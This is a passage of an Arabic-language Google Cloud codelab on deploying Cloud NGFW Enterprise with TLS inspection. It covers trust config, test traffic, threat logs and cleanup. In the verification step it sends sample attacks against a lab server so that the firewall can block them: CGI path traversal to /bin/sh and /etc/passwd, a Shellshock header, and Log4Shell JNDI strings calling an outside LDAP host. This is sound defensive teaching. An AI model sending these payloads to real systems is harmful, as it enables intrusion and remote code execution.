curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

اضبط المتغيّر على عنوان IP للخادم من قبل:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

أرسِل عيّنات من طلبات بروتوكول أمان طبقة النقل (TLS) إلى الخادم:

curl https://$target_privateip --max-time 2

الناتج المتوقّع:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

ما سبب تعذّر إكمال هذا الطلب؟ يرجع ذلك إلى أنّ جدار الحماية يتلقّى شهادة من الخادم لا يتم الوثوق بها. وفي هذه الحالة، سيتم إرسال شهادة موقَّعة ذاتيًا إلى العميل. نحتاج إلى إضافة شهادة مرجع التصديق كجزء من إعدادات الثقة لتفعيل الثقة.

ارجِع إلى Cloud Shell.

11. ضبط إعدادات الثقة

احصل على شهادة هيئة إصدار الشهادات الجذر واضبطها كمتغيّر بتنسيق صحيح.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

اضبط ملف Trust Config بتنسيق YAML. يحتوي هذا الملف على تفاصيل الثقة، مثل شهادات CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

تتضمّن الأوامر أعلاه شهادة مرجع التصديق الجذر كجزء من مخزن الثقة لأنّه تم توقيع شهادة الخادم باستخدام مرجع التصديق الجذر. وهذا يعني أن جدار الحماية سيثق في أي شهادات يتلقّاها وقد تم توقيعها من قِبل هيئة إصدار الشهادات (CA) الجذرية - بالإضافة إلى المراجع المصدقة العامة إذا كانت سياسة بروتوكول أمان طبقة النقل (TLS) قد وضعت استبعاد PublicCaSet على false.

تحقّق من محتوى ملف إعدادات الثقة.

cat trust_config.yaml 

مثال على النتائج:

انتبه جيدًا لمحاذاة المسافة البادئة للشهادة. يجب أن يتّبع هذا التنسيق تمامًا.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

استورِد إعدادات الثقة:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

عدِّل ملف YAML لسياسة بروتوكول أمان طبقة النقل (TLS) لتضمين إعدادات الثقة:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

استورِد سياسة بروتوكول أمان طبقة النقل المعدَّلة:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. التحقّق من فحص طبقة النقل الآمنة (TLS) من جهة العميل والخادم

اتصل بخادم SSH مرة أخرى للعملاء لاختبار حركة البيانات من الشرق إلى الغرب باستخدام إعدادات الثقة المعدَّلة:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

شغِّل نموذج طلب بروتوكول أمان طبقة النقل (TLS) إلى الخادم:

curl https://$target_privateip --max-time 2

إذا استمر ظهور النتائج أدناه، يُرجى الانتظار حتى يتم نشر التعديلات.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

الناتج المتوقّع:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

أرسِل زيارات اختبارية ضارة إلى الخادم:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

الناتج المتوقّع:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

لم يتم تلقّي أي ردود وفقًا للمخرجات المتوقّعة أدناه، ما يؤكّد أنّه يتم الآن حظر نماذج الهجمات في E/W.

13. التسجيل

انتقِل إلى "التسجيل" > "مستكشف السجلات" من خلال Cloud Console، وأدخِل الفلتر أدناه واطلب من السجلات. استبدِل [PROJECT_ID] بمعرّف مشروعك:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

من المفترض أن تظهر إدخالات سجلّات Cloud NGFW Enterprise بالشكل التالي:

5b68cc1063c0f4bd.png

وسِّع إدخالات السجلّ ولاحظ أنه تم تحديد الهجمات المُرسلة من الجهاز الافتراضي للعميل إلى الخادم وحظرها (ثغرة تنفيذ رمز Apache Log4j عن بُعد كما هو موضَّح في لقطة الشاشة أدناه).

478f18f8481e90ed.png

لقد نجحت في نشر Cloud NGFW Enterprise مع فحص بروتوكول أمان طبقة النقل (TLS) لحظر الطلبات الضارّة.

انتقِل إلى القسم التالي للتعرّف على خطوات إزالة البرامج غير المرغوب فيها.

14. خطوات إعادة الضبط

إزالة الإعدادات الأساسية

إزالة النُسخ:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

نفِّذ الخطوات التالية إذا تم تغيير دورَي tagAdmin وtagUsers:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

أزِل مفتاح العلامة وقيَمها:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

إزالة سياسة شبكة جدار الحماية في السحابة الإلكترونية وعمليات الربط:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

احذف Cloud Router وCloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

حذف عناوين IP المحجوزة:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

المعالجة المُتقدّمة للطلبات (SPG) والربط وتنظيف بروتوكول أمان طبقة النقل (TLS) في Cloud Firewall

احذف مجموعة الملفات الشخصية للأمان وملف التهديدات بالترتيب التالي:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

حذف ارتباط نقطة نهاية جدار الحماية على السحابة الإلكترونية:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

حذف نقطة نهاية "جدار الحماية في السحابة الإلكترونية"، ما قد يستغرق 20 دقيقة تقريبًا:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

يمكنك اختياريًا التأكّد من حذف نقطة نهاية Cloud NGFW من خلال تنفيذ الأمر أدناه:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

يجب أن تظهر حالة نقطة النهاية على النحو التالي:

STATE: DELETING

عند اكتمال عملية الحذف، لن تظهر نقطة النهاية بعد ذلك.

احذف سياسة بروتوكول أمان طبقة النقل (TLS) وميزة "ضبط الثقة" بالترتيب التالي:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

أوقِف "هيئة إصدار الشهادات الجذر" و"مجموعة هيئات إصدار الشهادات" وأزِلها:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

تنظيف الشبكة الفرعية وسحابة VPC

أخيرًا، احذف الشبكة الفرعية وشبكة VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. تهانينا!

تهانينا، لقد أكملت بنجاح الدرس التطبيقي حول الترميز الخاص بفحص بروتوكول أمان طبقة النقل (TLS) في شرق-غرب وشمال أفريقيا بنجاح.